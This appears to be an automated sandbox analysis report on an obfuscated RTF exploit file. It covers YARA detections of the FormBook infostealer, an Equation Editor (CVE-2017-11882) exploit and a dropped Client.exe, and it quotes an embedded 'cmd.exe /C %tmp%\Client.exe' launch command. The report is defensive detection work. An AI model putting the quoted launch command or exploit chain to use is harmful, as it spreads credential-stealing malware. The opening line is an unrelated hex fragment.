67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 68 65 67 6f 6c 64 65 6e 63 61 6d 65 6c 2e 6f 6e 6c 69 6e 65 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 22 6e 61 6d 65 22 3a 22 54 68 65 20 47 6f 6c 64 65 6e 20 43 61 6d 65 6c 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 68 65 67 6f 6c 64 65 6e 63 61 6d 65 6
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Creates a window with clipboard capturing capabilities
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Window created: window name: CLIPBRDWNDCLASS Jump to behavior

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Document contains OLE streams which likely are hidden ActiveX objects
Source: ~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp.0.dr Stream path '_1721489047/\x1Ole10Native' : ....Client.exe.C:\Path\Client.exe.........C:\Path\
Malicious sample detected (through community Yara rule)
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: Client.exe PID: 316, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: notepad.exe PID: 2188, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: ipconfig.exe PID: 1800, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp, type: DROPPED Matched rule: EXP_potential_CVE_2017_11882 Author: ReversingLabs
Document contains OLE streams with names of living off the land binaries
Source: ~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp.0.dr Stream path '_1721489049/Equation Native' : ...............\.[.............ZZCmD.exe /C %tmp%\Client.exe A..C................................................................................................................
PE file contains section with special chars
Source: Client.exe.0.dr Static PE information: section name: 5++.8$
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\Client.exe Jump to dropped file
PE file has nameless sections
Source: Client.exe.0.dr Static PE information: section name:
Found suspicious RTF objects
Source: Client.exe Static RTF information: Object: 0 Offset: 000012A7h Client.exe
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00321338 6_2_00321338
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_003236C0 6_2_003236C0
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00324B61 6_2_00324B61
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00322078 6_2_00322078
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0032A100 6_2_0032A100
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00324B70 6_2_00324B70
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00329BD8 6_2_00329BD8
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004A7928 6_2_004A7928
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0087BA28 6_2_0087BA28
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00870AAB 6_2_00870AAB
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00870048 6_2_00870048
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00878478 6_2_00878478
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0087B188 6_2_0087B188
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0087B508 6_2_0087B508
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0087B348 6_2_0087B348
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02400048 6_2_02400048
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00401030 9_2_00401030
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041E0B9 9_2_0041E0B9
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00402D87 9_2_00402D87
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00402D90 9_2_00402D90
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00409E60 9_2_00409E60
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041EE1B 9_2_0041EE1B
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041D688 9_2_0041D688
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00402FB0 9_2_00402FB0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AAE0C6 9_2_00AAE0C6
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ADD005 9_2_00ADD005
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B2D06D 9_2_00B2D06D
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB3040 9_2_00AB3040
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AC905A 9_2_00AC905A
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AAE2E9 9_2_00AAE2E9
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B51238 9_2_00B51238
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B563BF 9_2_00B563BF
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AAF3CF 9_2_00AAF3CF
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AD63DB 9_2_00AD63DB
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB2305 9_2_00AB2305
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AFA37B 9_2_00AFA37B
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB7353 9_2_00AB7353
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AC1489 9_2_00AC1489
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AE5485 9_2_00AE5485
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B3443E 9_2_00B3443E
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AED47D 9_2_00AED47D
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B305E3 9_2_00B305E3
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ACC5F0 9_2_00ACC5F0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB351F 9_2_00AB351F
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AF6540 9_2_00AF6540
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB4680 9_2_00AB4680
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ABE6C1 9_2_00ABE6C1
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B52622 9_2_00B52622
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AFA634 9_2_00AFA634
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ABC7BC 9_2_00ABC7BC
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B3579A 9_2_00B3579A
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AE57C3 9_2_00AE57C3
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B4F8EE 9_2_00B4F8EE
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B2F8C4 9_2_00B2F8C4
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AD286D 9_2_00AD286D
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ABC85C 9_2_00ABC85C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB29B2 9_2_00AB29B2
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B5098E 9_2_00B5098E
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AC69FE 9_2_00AC69FE
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B35955 9_2_00B35955
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B3394B 9_2_00B3394B
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B63A83 9_2_00B63A83
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B5CBA4 9_2_00B5CBA4
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B3DBDA 9_2_00B3DBDA
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AD7B00 9_2_00AD7B00
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B4FDDD 9_2_00B4FDDD
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AE0D3B 9_2_00AE0D3B
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ABCD5B 9_2_00ABCD5B
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AE2E2F 9_2_00AE2E2F
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ACEE4C 9_2_00ACEE4C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B4CFB1 9_2_00B4CFB1
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00B22FDC 9_2_00B22FDC
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AC0F3F 9_2_00AC0F3F
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00ADDF7C 9_2_00ADDF7C
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Tries to load missing DLLs
Source: C:\Users\user\AppData\Local\Temp\Client.exe Section loaded: amsi.dll Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Yara signature match
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf, type: SAMPLE Matched rule: MAL_RTF_Embedded_OLE_PE date = 2018-01-22, author = Florian Roth, description = Detects a suspicious string often used in PE files in a hex encoded object stream, reference = https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
